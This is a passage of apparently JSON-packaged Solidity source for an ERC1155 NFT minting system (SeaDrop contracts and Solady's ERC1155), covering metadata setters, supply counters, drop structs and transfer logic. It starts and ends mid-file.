URI.\n _baseURI = newBaseURI;\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(0, type(uint256).max);\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(\n uint256 fromTokenId,\n uint256 toTokenId\n ) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Emit an event with the update.\n if (fromTokenId == toTokenId) {\n // If only one token is being updated, use the event\n // in the 1155 spec.\n emit URI(uri(fromTokenId), fromTokenId);\n } else {\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param tokenId The token id to set the max supply for.\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 tokenId, uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Ensure the max supply does not exceed the maximum value of uint64,\n // a limit due to the storage of bit-packed variables in TokenSupply,\n if (newMaxSupply > 2 ** 64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _tokenSupply[tokenId].maxSupply = uint64(newMaxSupply);\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(tokenId, newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert if the provenance hash has already\n * been set, so be sure to carefully set it only once.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Revert if the provenance hash has already been set.\n if (oldProvenanceHash != bytes32(0)) {\n revert ProvenanceHashCannotBeSetAfterAlreadyBeingSet();\n }\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the default royalty information.\n *\n * Requirements:\n *\n * - `receiver` cannot be the zero address.\n * - `feeNumerator` cannot be greater than the fee denominator of 10_000 basis points.\n */\n function setDefaultRoyalty(address receiver, uint96 feeNumerator) external {\n // Ensure the sender is only the owner or configurer contract.\n _onlyOwnerOrConfigurer();\n\n // Set the default royalty.\n // ERC2981 implementation ensures feeNumerator <= feeDenominator\n // and receiver != address(0).\n _setDefaultRoyalty(receiver, feeNumerator);\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(receiver, feeNumerator);\n }\n\n /**\n * @notice Returns the name of the token.\n */\n function name() external view returns (string memory) {\n return _name;\n }\n\n /**\n * @notice Returns the symbol of the token.\n */\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply for a token id.\n */\n function maxSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].maxSupply;\n }\n\n /**\n * @notice Returns the total supply for a token id.\n */\n function totalSupply(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalSupply;\n }\n\n /**\n * @notice Returns the total minted for a token id.\n */\n function totalMinted(uint256 tokenId) external view returns (uint256) {\n return _tokenSupply[tokenId].totalMinted;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the URI for token metadata.\n *\n * This implementation returns the same URI for *all* token types.\n * It relies on the token type ID substitution mechanism defined\n * in the EIP to replace {id} with the token id.\n *\n * @custom:param tokenId The token id to get the URI for.\n */\n function uri(\n uint256 /* tokenId */\n ) public view virtual override returns (string memory) {\n // Return the base URI.\n return _baseURI;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC1155, ERC2981) returns (bool) {\n return\n interfaceId == type(IERC1155ContractMetadata).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906 (MetadataUpdate)\n ERC2981.supportsInterface(interfaceId) ||\n // ERC1155 returns supportsInterface true for\n // ERC165, ERC1155, ERC1155MetadataURI\n ERC1155.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Adds to the internal counters for a mint.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _mint(\n address to,\n uint256 id,\n uint256 amount,\n bytes memory data\n ) internal virtual override {\n // Increment mint counts.\n _incrementMintCounts(to, id, amount);\n\n ERC1155._mint(to, id, amount, data);\n }\n\n /**\n * @dev Adds to the internal counters for a batch mint.\n *\n * @param to The address to mint to.\n * @param ids The token ids to mint.\n * @param amounts The quantities to mint.\n * @param data The data to pass if receiver is a contract.\n */\n function _batchMint(\n address to,\n uint256[] memory ids,\n uint256[] memory amounts,\n bytes memory data\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Increment mint counts.\n _incrementMintCounts(to, ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchMint(to, ids, amounts, data);\n }\n\n /**\n * @dev Subtracts from the internal counters for a burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param id The token id to burn.\n * @param amount The amount to burn.\n */\n function _burn(\n address by,\n address from,\n uint256 id,\n uint256 amount\n ) internal virtual override {\n // Reduce the supply.\n _reduceSupplyOnBurn(id, amount);\n\n ERC1155._burn(by, from, id, amount);\n }\n\n /**\n * @dev Subtracts from the internal counters for a batch burn.\n *\n * @param by The address calling the burn.\n * @param from The address to burn from.\n * @param ids The token ids to burn.\n * @param amounts The amounts to burn.\n */\n function _batchBurn(\n address by,\n address from,\n uint256[] memory ids,\n uint256[] memory amounts\n ) internal virtual override {\n // Put ids length on the stack to save MLOADs.\n uint256 idsLength = ids.length;\n\n for (uint256 i = 0; i < idsLength; ) {\n // Reduce the supply.\n _reduceSupplyOnBurn(ids[i], amounts[i]);\n\n unchecked {\n ++i;\n }\n }\n\n ERC1155._batchBurn(by, from, ids, amounts);\n }\n\n function _reduceSupplyOnBurn(uint256 id, uint256 amount) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n // Reduce the totalSupply.\n unchecked {\n tokenSupply.totalSupply -= uint64(amount);\n }\n }\n\n /**\n * @dev Internal function to increment mint counts.\n *\n * Note that this function does not check if the mint exceeds\n * maxSupply, which should be validated before this function is called.\n *\n * @param to The address to mint to.\n * @param id The token id to mint.\n * @param amount The quantity to mint.\n */\n function _incrementMintCounts(\n address to,\n uint256 id,\n uint256 amount\n ) internal {\n // Get the current token supply.\n TokenSupply storage tokenSupply = _tokenSupply[id];\n\n if (tokenSupply.totalMinted + amount > tokenSupply.maxSupply) {\n revert MintExceedsMaxSupply(\n tokenSupply.totalMinted + amount,\n tokenSupply.maxSupply\n );\n }\n\n // Increment supply and number minted.\n // Can be unchecked because maxSupply cannot be set to exceed uint64.\n unchecked {\n tokenSupply.totalSupply += uint64(amount);\n tokenSupply.totalMinted += uint64(amount);\n\n // Increment total minted by user.\n _totalMintedByUser[to] += amount;\n\n // Increment total minted by user per token.\n _totalMintedByUserPerToken[to][id] += amount;\n }\n }\n}\n" }, "src/lib/ERC1155SeaDropContractOffererStorage.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { CreatorPayout } from \"./SeaDropStructs.sol\";\n\nlibrary ERC1155SeaDropContractOffererStorage {\n struct Layout {\n /// @notice The allowed Seaport addresses that can mint.\n mapping(address => bool) _allowedSeaport;\n /// @notice The enumerated allowed Seaport addresses.\n address[] _enumeratedAllowedSeaport;\n /// @notice The public drop data.\n mapping(uint256 => PublicDrop) _publicDrops;\n /// @notice The enumerated public drop indexes.\n uint256[] _enumeratedPublicDropIndexes;\n /// @notice The creator payout addresses and basis points.\n CreatorPayout[] _creatorPayouts;\n /// @notice The allow list merkle root.\n bytes32 _allowListMerkleRoot;\n /// @notice The allowed fee recipients.\n mapping(address => bool) _allowedFeeRecipients;\n /// @notice The enumerated allowed fee recipients.\n address[] _enumeratedFeeRecipients;\n /// @notice The allowed server-side signers.\n mapping(address => bool) _allowedSigners;\n /// @notice The enumerated allowed signers.\n address[] _enumeratedSigners;\n /// @notice The used signature digests.\n mapping(bytes32 => bool) _usedDigests;\n /// @notice The allowed payers.\n mapping(address => bool) _allowedPayers;\n /// @notice The enumerated allowed payers.\n address[] _enumeratedPayers;\n }\n\n bytes32 internal constant STORAGE_SLOT =\n bytes32(\n uint256(\n keccak256(\"contracts.storage.ERC1155SeaDropContractOfferer\")\n ) - 1\n );\n\n function layout() internal pure returns (Layout storage l) {\n bytes32 slot = STORAGE_SLOT;\n assembly {\n l.slot := slot\n }\n }\n}\n" }, "src/lib/ERC1155SeaDropErrorsAndEvents.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { PublicDrop } from \"./ERC1155SeaDropStructs.sol\";\n\nimport { SeaDropErrorsAndEvents } from \"./SeaDropErrorsAndEvents.sol\";\n\ninterface ERC1155SeaDropErrorsAndEvents is SeaDropErrorsAndEvents {\n /**\n * @dev Revert with an error if an empty PublicDrop is provided\n * for an already-empty public drop.\n */\n error PublicDropStageNotPresent();\n\n /**\n * @dev Revert with an error if the mint quantity exceeds the\n * max minted per wallet for a certain token id.\n */\n error MintQuantityExceedsMaxMintedPerWalletForTokenId(\n uint256 tokenId,\n uint256 total,\n uint256 allowed\n );\n\n /**\n * @dev Revert with an error if the target token id to mint is not within\n * the drop stage range.\n */\n error TokenIdNotWithinDropStageRange(\n uint256 tokenId,\n uint256 startTokenId,\n uint256 endTokenId\n );\n\n /**\n * @notice Revert with an error if the number of maxSupplyAmounts doesn't\n * match the number of maxSupplyTokenIds.\n */\n error MaxSupplyMismatch();\n\n /**\n * @notice Revert with an error if the number of mint tokenIds doesn't\n * match the number of mint amounts.\n */\n error MintAmountsMismatch();\n\n /**\n * @notice Revert with an error if the mint order offer contains\n * a duplicate tokenId.\n */\n error OfferContainsDuplicateTokenId(uint256 tokenId);\n\n /**\n * @dev Revert if the fromTokenId is greater than the toTokenId.\n */\n error InvalidFromAndToTokenId(uint256 fromTokenId, uint256 toTokenId);\n\n /**\n * @notice Revert with an error if the number of publicDropIndexes doesn't\n * match the number of publicDrops.\n */\n error PublicDropsMismatch();\n\n /**\n * @dev An event with updated public drop data.\n */\n event PublicDropUpdated(PublicDrop publicDrop, uint256 index);\n}\n" }, "src/lib/ERC1155SeaDropStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { AllowListData, CreatorPayout } from \"./SeaDropStructs.sol\";\n\n/**\n * @notice A struct defining public drop data.\n * Designed to fit efficiently in two storage slots.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n * @param paymentToken The payment token address. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed. (The limit for this field is\n * 2^16 - 1)\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id. (The limit for\n * this field is 2^16 - 1)\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n */\nstruct PublicDrop {\n // slot 1\n uint80 startPrice; // 80/512 bits\n uint80 endPrice; // 160/512 bits\n uint40 startTime; // 200/512 bits\n uint40 endTime; // 240/512 bits\n bool restrictFeeRecipients; // 248/512 bits\n // uint8 unused;\n\n // slot 2\n address paymentToken; // 408/512 bits\n uint24 fromTokenId; // 432/512 bits\n uint24 toTokenId; // 456/512 bits\n uint16 maxTotalMintableByWallet; // 472/512 bits\n uint16 maxTotalMintableByWalletPerToken; // 488/512 bits\n uint16 feeBps; // 504/512 bits\n}\n\n/**\n * @notice A struct defining mint params for an allow list.\n * An allow list leaf will be composed of `msg.sender` and\n * the following params.\n *\n * Note: Since feeBps is encoded in the leaf, backend should ensure\n * that feeBps is acceptable before generating a proof.\n *\n * @param startPrice The start price per token. (Up to 1.2m\n * of native token, e.g. ETH, MATIC)\n * @param endPrice The end price per token. If this differs\n * from startPrice, the current price will\n * be calculated based on the current time.\n * @param startTime The start time, ensure this is not zero.\n * @param endTime The end time, ensure this is not zero.\n * @param paymentToken The payment token for the mint. Null for\n * native token.\n * @param fromTokenId The start token id for the stage.\n * @param toTokenId The end token id for the stage.\n * @param maxTotalMintableByWallet Maximum total number of mints a user is\n * allowed.\n * @param maxTotalMintableByWalletPerToken Maximum total number of mints a user\n * is allowed for the token id.\n * @param maxTokenSupplyForStage The limit of token supply this stage can\n * mint within.\n * @param dropStageIndex The drop stage index to emit with the event\n * for analytical purposes. This should be\n * non-zero since the public mint emits with\n * index zero.\n * @param feeBps Fee out of 10_000 basis points to be\n * collected.\n * @param restrictFeeRecipients If false, allow any fee recipient;\n * if true, check fee recipient is allowed.\n */\nstruct MintParams {\n uint256 startPrice;\n uint256 endPrice;\n uint256 startTime;\n uint256 endTime;\n address paymentToken;\n uint256 fromTokenId;\n uint256 toTokenId;\n uint256 maxTotalMintableByWallet;\n uint256 maxTotalMintableByWalletPerToken;\n uint256 maxTokenSupplyForStage;\n uint256 dropStageIndex; // non-zero\n uint256 feeBps;\n bool restrictFeeRecipients;\n}\n\n/**\n * @dev Struct containing internal SeaDrop implementation logic\n * mint details to avoid stack too deep.\n *\n * @param feeRecipient The fee recipient.\n * @param payer The payer of the mint.\n * @param minter The mint recipient.\n * @param tokenIds The tokenIds to mint.\n * @param quantities The number of tokens to mint per tokenId.\n * @param withEffects Whether to apply state changes of the mint.\n */\nstruct MintDetails {\n address feeRecipient;\n address payer;\n address minter;\n uint256[] tokenIds;\n uint256[] quantities;\n bool withEffects;\n}\n\n/**\n * @notice A struct to configure multiple contract options in one transaction.\n */\nstruct MultiConfigureStruct {\n uint256[] maxSupplyTokenIds;\n uint256[] maxSupplyAmounts;\n string baseURI;\n string contractURI;\n PublicDrop[] publicDrops;\n uint256[] publicDropsIndexes;\n string dropURI;\n AllowListData allowListData;\n CreatorPayout[] creatorPayouts;\n bytes32 provenanceHash;\n address[] allowedFeeRecipients;\n address[] disallowedFeeRecipients;\n address[] allowedPayers;\n address[] disallowedPayers;\n // Server-signed\n address[] allowedSigners;\n address[] disallowedSigners;\n // ERC-2981\n address royaltyReceiver;\n uint96 royaltyBps;\n // Mint\n address mintRecipient;\n uint256[] mintTokenIds;\n uint256[] mintAmounts;\n}\n" }, "src/lib/SeaDropStructs.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\n/**\n * @notice A struct defining a creator payout address and basis points.\n *\n * @param payoutAddress The payout address.\n * @param basisPoints The basis points to pay out to the creator.\n * The total creator payouts must equal 10_000 bps.\n */\nstruct CreatorPayout {\n address payoutAddress;\n uint16 basisPoints;\n}\n\n/**\n * @notice A struct defining allow list data (for minting an allow list).\n *\n * @param merkleRoot The merkle root for the allow list.\n * @param publicKeyURIs If the allowListURI is encrypted, a list of URIs\n * pointing to the public keys. Empty if unencrypted.\n * @param allowListURI The URI for the allow list.\n */\nstruct AllowListData {\n bytes32 merkleRoot;\n string[] publicKeyURIs;\n string allowListURI;\n}\n" }, "src/lib/ERC1155ConduitPreapproved.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.19;\n\nimport { ERC1155 } from \"solady/src/tokens/ERC1155.sol\";\n\n/**\n * @title ERC1155ConduitPreapproved\n * @notice Solady's ERC1155 with the OpenSea conduit preapproved.\n */\nabstract contract ERC1155ConduitPreapproved is ERC1155 {\n /// @dev The canonical OpenSea conduit.\n address internal constant _CONDUIT =\n 0x1E0049783F008A0085193E00003D00cd54003c71;\n\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual override {\n _safeTransfer(_by(), from, to, id, amount, data);\n }\n\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual override {\n _safeBatchTransfer(_by(), from, to, ids, amounts, data);\n }\n\n function isApprovedForAll(\n address owner,\n address operator\n ) public view virtual override returns (bool) {\n if (operator == _CONDUIT) return true;\n return ERC1155.isApprovedForAll(owner, operator);\n }\n\n function _by() internal view returns (address result) {\n assembly {\n // `msg.sender == _CONDUIT ? address(0) : msg.sender`.\n result := mul(iszero(eq(caller(), _CONDUIT)), caller())\n }\n }\n}\n" }, "lib/solady/src/tokens/ERC1155.sol": { "content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.4;\n\n/// @notice Simple ERC1155 implementation.\n/// @author Solady (https://github.com/vectorized/solady/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from Solmate (https://github.com/transmissions11/solmate/blob/main/src/tokens/ERC1155.sol)\n/// @author Modified from OpenZeppelin (https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts/token/ERC1155/ERC1155.sol)\n///\n/// @dev Note:\n/// The ERC1155 standard allows for self-approvals.\n/// For performance, this implementation WILL NOT revert for such actions.\n/// Please add any checks with overrides if desired.\nabstract contract ERC1155 {\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* CUSTOM ERRORS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The lengths of the input arrays are not the same.\n error ArrayLengthsMismatch();\n\n /// @dev Cannot mint or transfer to the zero address.\n error TransferToZeroAddress();\n\n /// @dev The recipient's balance has overflowed.\n error AccountBalanceOverflow();\n\n /// @dev Insufficient balance.\n error InsufficientBalance();\n\n /// @dev Only the token owner or an approved account can manage the tokens.\n error NotOwnerNorApproved();\n\n /// @dev Cannot safely transfer to a contract that does not implement\n /// the ERC1155Receiver interface.\n error TransferToNonERC1155ReceiverImplementer();\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* EVENTS */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Emitted when `amount` of token `id` is transferred\n /// from `from` to `to` by `operator`.\n event TransferSingle(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256 id,\n uint256 amount\n );\n\n /// @dev Emitted when `amounts` of token `ids` are transferred\n /// from `from` to `to` by `operator`.\n event TransferBatch(\n address indexed operator,\n address indexed from,\n address indexed to,\n uint256[] ids,\n uint256[] amounts\n );\n\n /// @dev Emitted when `owner` enables or disables `operator` to manage all of their tokens.\n event ApprovalForAll(address indexed owner, address indexed operator, bool isApproved);\n\n /// @dev Emitted when the Uniform Resource Identifier (URI) for token `id`\n /// is updated to `value`. This event is not used in the base contract.\n /// You may need to emit this event depending on your URI logic.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n event URI(string value, uint256 indexed id);\n\n /// @dev `keccak256(bytes(\"TransferSingle(address,address,address,uint256,uint256)\"))`.\n uint256 private constant _TRANSFER_SINGLE_EVENT_SIGNATURE =\n 0xc3d58168c5ae7397731d063d5bbf3d657854427343f4c083240f7aacaa2d0f62;\n\n /// @dev `keccak256(bytes(\"TransferBatch(address,address,address,uint256[],uint256[])\"))`.\n uint256 private constant _TRANSFER_BATCH_EVENT_SIGNATURE =\n 0x4a39dc06d4c0dbc64b70af90fd698a233a518aa5d07e595d983b8c0526c8f7fb;\n\n /// @dev `keccak256(bytes(\"ApprovalForAll(address,address,bool)\"))`.\n uint256 private constant _APPROVAL_FOR_ALL_EVENT_SIGNATURE =\n 0x17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* STORAGE */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev The `ownerSlotSeed` of a given owner is given by.\n /// ```\n /// let ownerSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, owner))\n /// ```\n ///\n /// The balance slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, id)\n /// let balanceSlot := keccak256(0x00, 0x40)\n /// ```\n ///\n /// The operator approval slot of `owner` is given by.\n /// ```\n /// mstore(0x20, ownerSlotSeed)\n /// mstore(0x00, operator)\n /// let operatorApprovalSlot := keccak256(0x0c, 0x34)\n /// ```\n uint256 private constant _ERC1155_MASTER_SLOT_SEED = 0x9a31110384e0b0c9;\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 METADATA */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the URI for token `id`.\n ///\n /// You can either return the same templated URI for all token IDs,\n /// (e.g. \"https://example.com/api/{id}.json\"),\n /// or return a unique URI for each `id`.\n ///\n /// See: https://eips.ethereum.org/EIPS/eip-1155#metadata\n function uri(uint256 id) public view virtual returns (string memory);\n\n /*´:°•.°+.*•´.*:˚.°*.˚•´.°:°•.°•.*•´.*:˚.°*.˚•´.°:°•.°+.*•´.*:*/\n /* ERC1155 */\n /*.•°:°.´+˚.*°.˚:*.´•*.+°.•°:´*.´•*.•°.•°:°.´:•˚°.*°.˚:*.´+°.•*/\n\n /// @dev Returns the amount of `id` owned by `owner`.\n function balanceOf(address owner, uint256 id) public view virtual returns (uint256 result) {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, id)\n result := sload(keccak256(0x00, 0x40))\n }\n }\n\n /// @dev Returns whether `operator` is approved to manage the tokens of `owner`.\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n returns (bool result)\n {\n /// @solidity memory-safe-assembly\n assembly {\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, owner)\n mstore(0x00, operator)\n result := sload(keccak256(0x0c, 0x34))\n }\n }\n\n /// @dev Sets whether `operator` is approved to manage the tokens of the caller.\n ///\n /// Emits a {ApprovalForAll} event.\n function setApprovalForAll(address operator, bool isApproved) public virtual {\n /// @solidity memory-safe-assembly\n assembly {\n // Convert to 0 or 1.\n isApproved := iszero(iszero(isApproved))\n // Update the `isApproved` for (`msg.sender`, `operator`).\n mstore(0x20, _ERC1155_MASTER_SLOT_SEED)\n mstore(0x14, caller())\n mstore(0x00, operator)\n sstore(keccak256(0x0c, 0x34), isApproved)\n // Emit the {ApprovalForAll} event.\n mstore(0x00, isApproved)\n // forgefmt: disable-next-line\n log3(0x00, 0x20, _APPROVAL_FOR_ALL_EVENT_SIGNATURE, caller(), shr(96, shl(96, operator)))\n }\n }\n\n /// @dev Transfers `amount` of `id` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155Reveived}, which is called upon a batch transfer.\n ///\n /// Emits a {Transfer} event.\n function safeTransferFrom(\n address from,\n address to,\n uint256 id,\n uint256 amount,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Subtract and store the updated balance of `from`.\n {\n mstore(0x00, id)\n let fromBalanceSlot := keccak256(0x00, 0x40)\n let fromBalance := sload(fromBalanceSlot)\n if gt(amount, fromBalance) {\n mstore(0x00, 0xf4d678b8) // `InsufficientBalance()`.\n revert(0x1c, 0x04)\n }\n sstore(fromBalanceSlot, sub(fromBalance, amount))\n }\n // Increase and store the updated balance of `to`.\n {\n mstore(0x20, toSlotSeed)\n let toBalanceSlot := keccak256(0x00, 0x40)\n let toBalanceBefore := sload(toBalanceSlot)\n let toBalanceAfter := add(toBalanceBefore, amount)\n if lt(toBalanceAfter, toBalanceBefore) {\n mstore(0x00, 0x01336cea) // `AccountBalanceOverflow()`.\n revert(0x1c, 0x04)\n }\n sstore(toBalanceSlot, toBalanceAfter)\n }\n // Emit a {TransferSingle} event.\n mstore(0x20, amount)\n log4(0x00, 0x40, _TRANSFER_SINGLE_EVENT_SIGNATURE, caller(), from, to)\n }\n if (_useAfterTokenTransfer()) {\n _afterTokenTransfer(from, to, _single(id), _single(amount), data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n // Do the {onERC1155Received} check if `to` is a smart contract.\n if extcodesize(to) {\n // Prepare the calldata.\n let m := mload(0x40)\n // `onERC1155Received(address,address,uint256,uint256,bytes)`.\n mstore(m, 0xf23a6e61)\n mstore(add(m, 0x20), caller())\n mstore(add(m, 0x40), from)\n mstore(add(m, 0x60), id)\n mstore(add(m, 0x80), amount)\n mstore(add(m, 0xa0), 0xa0)\n calldatacopy(add(m, 0xc0), sub(data.offset, 0x20), add(0x20, data.length))\n // Revert if the call reverts.\n if iszero(call(gas(), to, 0, add(m, 0x1c), add(0xc4, data.length), m, 0x20)) {\n if returndatasize() {\n // Bubble up the revert if the call reverts.\n returndatacopy(0x00, 0x00, returndatasize())\n revert(0x00, returndatasize())\n }\n mstore(m, 0)\n }\n // Load the returndata and compare it with the function selector.\n if iszero(eq(mload(m), shl(224, 0xf23a6e61))) {\n mstore(0x00, 0x9c05499b) // `TransferToNonERC1155ReceiverImplementer()`.\n revert(0x1c, 0x04)\n }\n }\n }\n }\n\n /// @dev Transfers `amounts` of `ids` from `from` to `to`.\n ///\n /// Requirements:\n /// - `to` cannot be the zero address.\n /// - `from` must have at least `amount` of `id`.\n /// - `ids` and `amounts` must have the same length.\n /// - If the caller is not `from`,\n /// it must be approved to manage the tokens of `from`.\n /// - If `to` refers to a smart contract, it must implement\n /// {ERC1155-onERC1155BatchReveived}, which is called upon a batch transfer.\n ///\n /// Emits a {TransferBatch} event.\n function safeBatchTransferFrom(\n address from,\n address to,\n uint256[] calldata ids,\n uint256[] calldata amounts,\n bytes calldata data\n ) public virtual {\n if (_useBeforeTokenTransfer()) {\n _beforeTokenTransfer(from, to, ids, amounts, data);\n }\n /// @solidity memory-safe-assembly\n assembly {\n if iszero(eq(ids.length, amounts.length)) {\n mstore(0x00, 0x3b800a46) // `ArrayLengthsMismatch()`.\n revert(0x1c, 0x04)\n }\n let fromSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, from))\n let toSlotSeed := or(_ERC1155_MASTER_SLOT_SEED, shl(96, to))\n mstore(0x20, fromSlotSeed)\n // Clear the upper 96 bits.\n from := shr(96, fromSlotSeed)\n to := shr(96, toSlotSeed)\n // Revert if `to` is the zero address.\n if iszero(to) {\n mstore(0x00, 0xea553b34) // `TransferToZeroAddress()`.\n revert(0x1c, 0x04)\n }\n // If the caller is not `from`, do the authorization check.\n if iszero(eq(caller(), from)) {\n mstore(0x00, caller())\n if iszero(sload(keccak256(0x0c, 0x34))) {\n mstore(0x00, 0x4b6e7f18) // `NotOwnerNorApproved()`.\n revert(0x1c, 0x04)\n }\n }\n // Loop through all the `ids` and update the balances.\n {\n let end := shl(5, 